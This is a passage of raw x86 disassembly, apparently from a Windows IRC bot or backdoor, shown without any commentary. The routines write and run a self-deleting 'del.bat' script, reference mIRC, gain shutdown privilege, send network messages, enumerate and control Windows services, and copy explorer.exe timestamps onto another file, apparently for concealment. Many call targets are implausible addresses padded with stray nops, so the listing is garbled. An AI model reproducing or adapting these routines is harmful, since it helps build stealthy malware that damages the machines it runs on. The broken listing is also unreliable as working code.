0FFFFFFFFh jmp short loc_418526 ; --------------------------------------------------------------------------- loc_4184B3: ; CODE XREF: sub_41847D+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_4184D5 loc_4184BF: ; CODE XREF: sub_41847D+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4184CC cmp dl, 0Dh jnz short loc_4184D0 loc_4184CC: ; CODE XREF: sub_41847D+48j and byte ptr [ecx+esi], 0 loc_4184D0: ; CODE XREF: sub_41847D+4Dj inc ecx cmp ecx, eax jl short loc_4184BF loc_4184D5: ; CODE XREF: sub_41847D+40j xor edx, edx push edi test eax, eax jle short loc_418506 lea edi, [ebp+var_7CC] loc_4184E2: ; CODE XREF: sub_41847D+87j cmp byte ptr [edx+esi], 0 jnz short loc_418501 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418501 cmp ebx, 1F4h jge short loc_418506 mov [edi], ecx inc ebx add edi, 4 loc_418501: ; CODE XREF: sub_41847D+69j ; sub_41847D+74j inc edx cmp edx, eax jl short loc_4184E2 loc_418506: ; CODE XREF: sub_41847D+5Dj ; sub_41847D+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418524 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CAB0 add esp, 0Ch loc_418524: ; CODE XREF: sub_41847D+8Ej mov eax, ebx loc_418526: ; CODE XREF: sub_41847D+34j pop esi pop ebx leave retn sub_41847D endp ; =============== S U B R O U T I N E ======================================= sub_41852A proc near ; CODE XREF: sub_418584+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418563 push ebx mov ebx, edi loc_418547: ; CODE XREF: sub_41852A+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418566 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418547 pop ebx loc_418563: ; CODE XREF: sub_41852A+18j pop edi pop esi retn sub_41852A endp ; =============== S U B R O U T I N E ======================================= sub_418566 proc near ; CODE XREF: sub_41852A+25p ; sub_418584+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DEEC cmp al, 61h pop ecx jl short loc_418581 cmp al, 7Ah jg short loc_418581 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418581: ; CODE XREF: sub_418566+Ej ; sub_418566+12j xor eax, eax retn sub_418566 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418584 proc near ; CODE XREF: sub_415DCF+10p ; ___:00415EA1p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C2A0 push ebx push esi push edi push [ebp+arg_0] call sub_41B960 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B960 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41852A add esp, 14h dec esi mov edi, esi loc_4185C2: ; CODE XREF: sub_418584+B6j test esi, esi jle short loc_418640 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DEEC pop ecx cmp eax, ebx pop ecx jz short loc_418638 loc_4185E8: ; CODE XREF: sub_418584+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418566 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418609 mov eax, ecx loc_418609: ; CODE XREF: sub_418584+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41863C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DEEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4185E8 loc_418638: ; CODE XREF: sub_418584+62j dec edi dec esi jmp short loc_4185C2 ; --------------------------------------------------------------------------- loc_41863C: ; CODE XREF: sub_418584+8Aj xor eax, eax jmp short loc_418645 ; --------------------------------------------------------------------------- loc_418640: ; CODE XREF: sub_418584+40j mov eax, [ebp+arg_0] add eax, edi loc_418645: ; CODE XREF: sub_418584+BAj pop edi pop esi pop ebx leave retn sub_418584 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41864A proc near ; CODE XREF: sub_401AC7+66FDp ; sub_401AC7+7700p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 26908A7h nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2800000h lea eax, [ebp+var_100] loc_418683: ; CODE XREF: sub_41864A+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41868F cmp cl, 9 jnz short loc_418692 loc_41868F: ; CODE XREF: sub_41864A+3Ej inc eax jmp short loc_418683 ; --------------------------------------------------------------------------- loc_418692: ; CODE XREF: sub_41864A+43j ; sub_41864A+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186AC mov cl, [eax] cmp cl, 2Eh jz short loc_418692 cmp cl, 21h jl short loc_418692 loc_4186AC: ; CODE XREF: sub_41864A+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4D8ABC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C100 add esp, 18h mov eax, esi pop esi leave retn sub_41864A endp ; =============== S U B R O U T I N E ======================================= sub_4186D4 proc near ; CODE XREF: sub_401AC7+245Ap push esi push 0 call dword_4C92D4 test eax, eax jz short loc_41870B push 1 call dword_4C92F4 mov esi, eax test esi, esi jz short loc_41870B push edi push esi call near ptr 2810659h nop push esi mov edi, eax nop call near ptr 2810000h call dword_4C9358 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41870B: ; CODE XREF: sub_4186D4+Bj ; sub_4186D4+19j xor eax, eax pop esi retn sub_4186D4 endp ; =============== S U B R O U T I N E ======================================= sub_41870F proc near ; CODE XREF: sub_401AC7+74B5p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4C9310 mov ebp, eax cmp ebp, esi jz short loc_41878B push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 282057Bh push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 28203BEh nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C006 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4C9360 push esi push 1 push 4C9h push ebp call dword_4C9360 push ebx nop call near ptr 2820000h push edi nop call near ptr 2670000h push 1 pop eax pop ebx jmp short loc_41878D ; --------------------------------------------------------------------------- loc_41878B: ; CODE XREF: sub_41870F+16j xor eax, eax loc_41878D: ; CODE XREF: sub_41870F+7Aj pop edi pop esi pop ebp retn sub_41870F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418791 proc near ; CODE XREF: ___:00401430p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4C93C0 test eax, eax jz short loc_418830 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_427100 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 2830755h nop push ebx mov ebx, dword_427078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 2830000h nop push esi call ebx loc_418830: ; CODE XREF: sub_418791+2Aj ; sub_418791+51j ... pop edi pop esi pop ebx leave retn sub_418791 endp ; =============== S U B R O U T I N E ======================================= sub_418835 proc near ; CODE XREF: sub_401AC7+1675p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B3F pop ecx pop ecx push 50005h push 6 call dword_4C9244 neg eax sbb eax, eax neg eax retn sub_418835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418857 proc near ; CODE XREF: sub_401AC7+26F7p ; ___:00416BC6p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42908C, esi push edi jz short loc_41887B cmp dword_4C93D4, esi jnz short loc_41887B push esi call sub_401000 pop ecx loc_41887B: ; CODE XREF: sub_418857+13j ; sub_418857+1Bj call sub_40B576 lea eax, [ebp+var_764] push eax push 400h call near ptr 26B0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 273075Dh mov edi, eax cmp edi, esi jbe loc_4189DB lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2720000h push edi call near ptr 2670000h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BD10 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43B4B8 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2690DE0h nop push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax nop call near ptr 2690D17h cmp eax, 0FFFFFFFFh jz short loc_418983 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2690C5Ch loc_418983: ; CODE XREF: sub_418857+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2840000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 26703D3h loc_4189DB: ; CODE XREF: sub_418857+72j pop edi pop esi leave retn sub_418857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189DF proc near ; CODE XREF: sub_401AC7+7139p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E04B4h cmp [ebp+var_84], 2 jnz short loc_418A75 push [ebp+arg_10] push [ebp+arg_C] call dword_4C9284 push edi push eax call dword_4C9294 test eax, eax jz short loc_418A67 push [ebp+arg_10] push offset dword_438D24 loc_418A40: ; CODE XREF: sub_4189DF+94j lea eax, [ebp+var_294] push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h jmp short loc_418A9F ; --------------------------------------------------------------------------- loc_418A67: ; CODE XREF: sub_4189DF+57j call near ptr 26908A7h nop push eax push offset unk_438CFC jmp short loc_418A40 ; --------------------------------------------------------------------------- loc_418A75: ; CODE XREF: sub_4189DF+3Fj lea eax, [ebp+var_294] push offset unk_438CCC push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_418A9F: ; CODE XREF: sub_4189DF+86j pop edi leave retn sub_4189DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AA2 proc near ; CODE XREF: sub_401AC7+556Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E04B4h cmp [ebp+var_90], 4 jnz short loc_418AF8 cmp [ebp+var_8C], 0 jnz short loc_418AE1 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418AF8 leave retn ; --------------------------------------------------------------------------- loc_418AE1: ; CODE XREF: sub_418AA2+30j cmp [ebp+var_8C], 0Ah jz short loc_418AF3 cmp [ebp+var_8C], 5Ah jnz short loc_418AF8 loc_418AF3: ; CODE XREF: sub_418AA2+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418AF8: ; CODE XREF: sub_418AA2+27j ; sub_418AA2+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26C0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26C0373h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41DFD4 lea eax, [ebp+var_F8] push eax call sub_41DFB7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27C07A1h mov eax, edi pop edi pop esi leave retn sub_418AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B82 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26A06B3h push eax call sub_41C058 pop ecx call sub_41C062 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276F8 call sub_41CF04 sub esi, eax mov eax, esi pop esi leave retn sub_418B82 endp ; =============== S U B R O U T I N E ======================================= sub_418BBF proc near ; CODE XREF: sub_401AC7:loc_405F8Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C24 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_438D48[esi] push edi push eax call sub_418C46 add esp, 14h test eax, eax jnz short loc_418C07 push edi push off_438D44[esi] mov esi, offset dword_4D9380 push offset unk_438E58 push esi call sub_41C006 add esp, 10h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C07: ; CODE XREF: sub_418BBF+2Aj push eax call sub_418CE8 push eax push edi mov esi, offset dword_4D9380 push offset unk_438E2C push esi call sub_41C006 add esp, 14h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C24: ; CODE XREF: sub_418BBF+Cj lea eax, [eax+eax*2] mov esi, offset dword_4D9380 push off_438D40[eax*4] push offset unk_438E08 push esi call sub_41C006 add esp, 0Ch loc_418C41: ; CODE XREF: sub_418BBF+46j ; sub_418BBF+63j mov eax, esi pop edi pop esi retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C46 proc near ; CODE XREF: sub_418BBF+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4C92F8 mov edi, eax cmp edi, ebx jnz short loc_418C6D nop call near ptr 26908A7h mov ebx, eax jmp short loc_418CE2 ; --------------------------------------------------------------------------- loc_418C6D: ; CODE XREF: sub_418C46+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4C91E0 mov esi, eax cmp esi, ebx jnz short loc_418C8D call near ptr 26908A7h nop mov ebx, eax jmp short loc_418CDA ; --------------------------------------------------------------------------- loc_418C8D: ; CODE XREF: sub_418C46+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418CC0 cmp eax, 3 jz short loc_418CB1 jle short loc_418CD3 cmp eax, 6 jg short loc_418CD3 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4C924C jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CB1: ; CODE XREF: sub_418C46+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4C91E8 jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CC0: ; CODE XREF: sub_418C46+4Dj push esi call dword_4C9250 loc_418CC7: ; CODE XREF: sub_418C46+69j ; sub_418C46+78j test eax, eax jnz short loc_418CD3 nop call near ptr 26908A7h mov ebx, eax loc_418CD3: ; CODE XREF: sub_418C46+54j ; sub_418C46+59j ... push esi call dword_4C91FC loc_418CDA: ; CODE XREF: sub_418C46+45j push edi call dword_4C91FC pop esi loc_418CE2: ; CODE XREF: sub_418C46+25j mov eax, ebx pop edi pop ebx leave retn sub_418C46 endp ; =============== S U B R O U T I N E ======================================= sub_418CE8 proc near ; CODE XREF: sub_418BBF+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418D9D jz loc_418D96 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418D60 jz short loc_418D56 mov ecx, eax sub ecx, 3 jz short loc_418D4C dec ecx dec ecx jz short loc_418D42 dec ecx jz short loc_418D38 sub ecx, 51h jz short loc_418D2E sub ecx, 24h jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D2E: ; CODE XREF: sub_418CE8+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D38: ; CODE XREF: sub_418CE8+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D42: ; CODE XREF: sub_418CE8+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D4C: ; CODE XREF: sub_418CE8+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D56: ; CODE XREF: sub_418CE8+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D60: ; CODE XREF: sub_418CE8+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418D8F dec ecx jz short loc_418D88 dec ecx jz short loc_418D81 dec ecx jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D81: ; CODE XREF: sub_418CE8+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D88: ; CODE XREF: sub_418CE8+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D8F: ; CODE XREF: sub_418CE8+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D96: ; CODE XREF: sub_418CE8+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D9D: ; CODE XREF: sub_418CE8+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 jz short loc_418E00 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E54[ecx] jmp off_418E2C[ecx*4] ; switch jump loc_418DC1: ; DATA XREF: ___:off_418E2Co push offset aTheSpecifiedDa ; jumptable 00418DBA case 7 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DC8: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDepe ; jumptable 00418DBA case 17 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DCF: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDe_0 ; jumptable 00418DBA case 10 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DD6: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasB ; jumptable 00418DBA case 0 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DDD: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheSpecified_0 ; jumptable 00418DBA case 2 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DE4: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceCoul ; jumptable 00418DBA case 11 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DEB: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHa_0 ; jumptable 00418DBA case 14 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheRequested_1 ; jumptable 00418DBA case 3 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF9: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasN ; jumptable 00418DBA case 4 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418E00: ; CODE XREF: sub_418CE8+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E05: ; CODE XREF: sub_418CE8+41j ; sub_418CE8+4Bj ... push offset dword_4D8CC0 call sub_41C006 pop ecx pop ecx jmp short loc_418E26 ; --------------------------------------------------------------------------- loc_418E13: ; CODE XREF: sub_418CE8+36j ; sub_418CE8+89j ... push eax ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4D8CC0 call sub_41C006 add esp, 0Ch loc_418E26: ; CODE XREF: sub_418CE8+129j mov eax, offset dword_4D8CC0 retn sub_418CE8 endp ; --------------------------------------------------------------------------- off_418E2C dd offset loc_418DD6 ; DATA XREF: sub_418CE8+D2r dd offset loc_418DDD ; jump table for switch statement dd offset loc_418DF2 dd offset loc_418DF9 dd offset loc_418DC1 dd offset loc_418DCF dd offset loc_418DE4 dd offset loc_418DEB dd offset loc_418DC8 dd offset loc_418E13 byte_418E54 db 0, 9, 1, 2 ; DATA XREF: sub_418CE8+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E66 proc near ; CODE XREF: sub_401AC7+44EEp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4C92F8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_418E9E: ; CODE XREF: sub_418E66+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4C92C4 test eax, eax jnz short loc_418ED8 nop call near ptr 26908A7h cmp eax, 0EAh jnz loc_418F8C loc_418ED8: ; CODE XREF: sub_418E66+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418F83 lea esi, [ebp+var_188] loc_418EE9: ; CODE XREF: sub_418E66+117j mov eax, [esi+8] dec eax jz short loc_418F32 dec eax jz short loc_418F2B dec eax jz short loc_418F24 dec eax jz short loc_418F1D dec eax jz short loc_418F16 dec eax jz short loc_418F0F dec eax jz short loc_418F08 push offset aUnknown_0 ; " Unknown" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F08: ; CODE XREF: sub_418E66+99j push offset aPaused_0 ; " Paused" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F0F: ; CODE XREF: sub_418E66+96j push offset aPausing ; " Pausing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F16: ; CODE XREF: sub_418E66+93j push offset aContinuing ; " Continuing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F1D: ; CODE XREF: sub_418E66+90j push offset aRunning ; " Running" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F24: ; CODE XREF: sub_418E66+8Dj push offset aStoping ; " Stoping" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F2B: ; CODE XREF: sub_418E66+8Aj push offset aStarting ; " Starting" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F32: ; CODE XREF: sub_418E66+87j push offset aStopped ; " Stopped" loc_418F37: ; CODE XREF: sub_418E66+A0j ; sub_418E66+A7j ... lea eax, [ebp+var_20] push eax call sub_41C006 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C006 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418EE9 loc_418F83: ; CODE XREF: sub_418E66+77j cmp [ebp+var_8], ebx jnz loc_418E9E loc_418F8C: ; CODE XREF: sub_418E66+6Cj push [ebp+var_C] call dword_4C91FC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418E66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FA3 proc near ; CODE XREF: sub_401AC7:loc_40606Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41903C mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418FCC dec eax jnz short loc_41901C push edi push 0 call sub_419175 pop ecx pop ecx jmp short loc_419018 ; --------------------------------------------------------------------------- loc_418FCC: ; CODE XREF: sub_418FA3+18j cmp [ebp+arg_8], 0 jnz short loc_41900A push 24h push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_41900A push 57h pop eax loc_418FE3: ; CODE XREF: sub_418FA3+77j push eax call sub_41994D push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D40[eax*4] push offset unk_4393EC push esi call sub_41C006 add esp, 18h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41900A: ; CODE XREF: sub_418FA3+2Dj ; sub_418FA3+3Bj push [ebp+arg_8] push edi push 0 call sub_4190C9 add esp, 0Ch loc_419018: ; CODE XREF: sub_418FA3+27j test eax, eax jnz short loc_418FE3 loc_41901C: ; CODE XREF: sub_418FA3+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D44[eax*4] push offset dword_4393D0 push esi call sub_41C006 add esp, 10h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41903C: ; CODE XREF: sub_418FA3+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4D8F7C lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_4393AC push esi call 